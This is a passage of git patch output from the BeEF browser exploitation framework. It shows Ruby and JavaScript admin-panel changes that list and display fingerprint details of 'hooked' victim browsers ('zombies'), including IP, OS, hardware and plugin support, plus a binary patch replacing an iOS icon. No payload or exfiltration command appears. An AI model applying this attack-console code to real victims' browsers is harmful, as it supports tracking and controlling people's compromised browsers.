browser_version, + 'browser_icon' => browser_icon, + 'os_icon' => os_icon, + 'os_name' => os_name, + 'hw_icon' => hw_icon, + 'hw_name' => hw_name, + 'has_flash' => has_flash, + 'has_web_sockets' => has_web_sockets, + 'has_googlegears' => has_googlegears, + 'has_java' => has_java, + 'date_stamp' => date_stamp + } + + end + end + + end end - - zombies_hash - end - - # create a hash of simple hooked browser details - def get_simple_hooked_browser_hash(hooked_browser) - - browser_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserName') - browser_version = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'BrowserVersion') - browser_icon = BeEF::Core::Models::BrowserDetails.browser_icon(hooked_browser.session) - os_icon = BeEF::Core::Models::BrowserDetails.os_icon(hooked_browser.session) - os_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'OsName') - hw_icon = BeEF::Core::Models::BrowserDetails.hw_icon(hooked_browser.session) - hw_name = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'Hardware') - domain = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HostName') - has_flash = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasFlash') - has_web_sockets = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasWebSocket') - has_googlegears = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasGoogleGears') - has_phonegap = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'HasPhonegap') - date_stamp = BeEF::Core::Models::BrowserDetails.get(hooked_browser.session, 'DateStamp') - - return { - 'session' => hooked_browser.session, - 'ip' => hooked_browser.ip, - 'domain' => domain, - 'port' => hooked_browser.port.to_s, - 'browser_name' => browser_name, - 'browser_version' => browser_version, - 'browser_icon' => browser_icon, - 'os_icon' => os_icon, - 'os_name' => os_name, - 'hw_icon' => hw_icon, - 'hw_name' => hw_name, - 'has_flash' => has_flash, - 'has_web_sockets' => has_web_sockets, - 'has_googlegears' => has_googlegears, - 'has_phonegap' => has_phonegap, - 'date_stamp' => date_stamp - } - end end - -end -end -end -end diff --git a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js index e161c8209..347f7b97d 100644 --- a/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js +++ b/extensions/admin_ui/media/javascript/ui/panel/ZombiesMgr.js @@ -35,7 +35,7 @@ var ZombiesMgr = function(zombies_tree_lists) { var has_flash = zombie_array[index]["has_flash"]; var has_web_sockets = zombie_array[index]["has_web_sockets"]; var has_googlegears = zombie_array[index]["has_googlegears"]; - var has_phonegap = zombie_array[index]["has_phonegap"]; + var has_java = zombie_array[index]["has_java"]; var date_stamp = zombie_array[index]["date_stamp"]; text = " "; @@ -49,9 +49,9 @@ var ZombiesMgr = function(zombies_tree_lists) { balloon_text+= "
Hardware: " + hw_name; balloon_text+= "
Domain: " + domain + ":" + port; balloon_text+= "
Flash: " + has_flash; - balloon_text+= "
Web Sockets: " + has_web_sockets; + balloon_text+= "
Java: " + has_java; + balloon_text+= "
Web Sockets: " + has_web_sockets; balloon_text+= "
Google Gears: " + has_googlegears; - balloon_text+= "
Phonegap API: " + has_phonegap; balloon_text+= "
Date: " + date_stamp; var new_zombie = { From 1e0f83d23fea61582d69d22a7771cd010e0cadef Mon Sep 17 00:00:00 2001 From: bcoles Date: Wed, 27 Jun 2012 21:58:07 +0930 Subject: [PATCH 033/225] Added better icon for iOS --- .../admin_ui/media/images/icons/ios.png | Bin 38666 -> 2266 bytes 1 file changed, 0 insertions(+), 0 deletions(-) diff --git a/extensions/admin_ui/media/images/icons/ios.png b/extensions/admin_ui/media/images/icons/ios.png index de94a27ce9682ce1ce4d2c84248b879043ffdb9c..a3477139c1b072e510d90d22d595b948a11782d7 100644 GIT binary patch literal 2266 zcmV<02qpK4P)!iLegJ^WTI z005#WLKH!A;feNmJ>=-IqlW;r0th_HAQMG^2EY|9C~{1hJOzP30Ks4of*@dUa1bAT z_~FMMx91-Ky72^^n2z+PBY%^KN)Bntc`C+t*8+x1Fx**XwKl{=o-lTU%ON%gV|ePN&mYQ&V$G5CpeQ zr$cF3>7tb@SC-6}F(c19)oRk~^$-LBU0q$F#>N}YQ=ffSar$4UKM_T-EixHVLu|YR z5&+mXY+S#2^RHk3)y$bQIZ+ffUk(O?XlS_ZzHy_msk5uoYcv{>JA1Z0KY!jlo6TlY z>m&UhAq3Uc)$Tp-?AhCRqwy2~7os?NJOmObikh|a&7JR+mXBq>74) z=DY5>=(byJUqd5fjpoEO0L!bJHg0?QrI#JU!^1IW?QuQ_0H4ptr>3MxSX3n%frKo3 zR`G@n8%w2Gi8b(}n2hpS+wHdgojZ2yzI*pSrx0bg)*?UyuxwbrezQ5%%rG<>uzjRXVQL;1orT%Qxih zQoa7#wQG@0%%=_efoKs(u$ayE;o;$j1|fvN=kvku_d`mNDT)HaFfbSlFdB_8nN;^F zO(IGX%{On}L^z#@>yV>HfCj+m4Te;n53k_h;2?T>dPa_dT0&72XqpDcaY#;1Mp9A| zXqp~5fyE+22!Yq@bz=-Ewq_KfKrs?WPF9LIrS z7)=uLG=ieX_Mt>`9~kfrgghP(L{S9GvZH{i)z#W0GLo6GEDN1ZHwwH|PMJI<{m$(> zaet-IA`l7;1$@$sM*|#-h+KG{hh&yCO^-Ogq=F#8Znw|A^7WNugj4I7>9iUF0)P+l zK{v~?Q31*cDC=sXHtX^_P1DHE&Ylmzj&K-_`Nd9a1p>Xjy?5mVqJfsH8c{W{N|oAe znYPrDWhHAbUA)v9ArW;Iw6al(0;VomvSc;GFwp6AkeAVvW!Vvp^{!5*Q&pSImUF$n z{#(D_--U2Q(%fV;33PY&P)nCC-N11is|8*TQVu*C0WHupO^?(Q6BG40vvUgS>gt+; z!C()7pw>!g5fA~e`SbD@XIe9D(ZDM~>-BooXL16{QUWh0VX;_Jo-TO0#N+V{c-)@v z01N>bl^R4NAaYz{Mqy!LaXjE9;99B#t+fJj5-BMuiO(!}W<_r9?D;h{HD3}U_9<5) z+IhfVS$W~?+O;oj&B(||mUdaGlvEm2UROFb5Oz>P$U`cf+LS7HZkA=~q@-kPC?u$2 zjYc3u2xv8NGcaOc&)Rtk^mtDO-)Um7cX4;Cp10+$2!yt!9dWTF?EV9Z*JaP zr4Ojty;_?x0?A1#O;WCe5bQs&|3GJF=NABap%PAG5fB0J*XrxtD_5-eX?pr3PAhC` z0he+grJ2crYt=7ayijwZ{KNqOcc2o1;voP4gb2jn_x<;QlBFff3{E|T&})1-uUhBc%HusU_c98JOo4lLFaAfJzG}hjJ&-39IcS5wP~pV)KZ$J5ex>& zu3f)>ueG)Ha{%8VN;(k_0YrWvP+eVpYw@DR3#Uz+Hc6+`X@X`LW|Tc^q@Z~4UFYMX9 z=Z^rI5l1#U)_YmLfKf*_!_w)SpSRaI?eW#zZc&COnl zqA+L9oXM+Jt(xm_I2PvT=i8+GUka(ceZ8T>hYz26_nmk51Gs_kq5iRcUYC>L08D>z z?TatG^7B`ow_2@sK@j-1wl?RHBS+3(xpJij;R8uO9+&_V>1SQNdbMNS`gK3av}R5h z1OY8AEv*ONKlo{LQ}dU2a1My;qT^9+>h%DU0azlyfbgu{kCeO$2>As`YNVtQCMxe2 ow>*x2HJ~y2nrR~Y{cp*C0Yn{~D<_k##sB~S07*qoM6N<$f=FU4y#N3J literal 38666 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¨_I7(a}HJ^_A2`jm;b!?oaGrHY+LO?Ff#wYyTIa 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 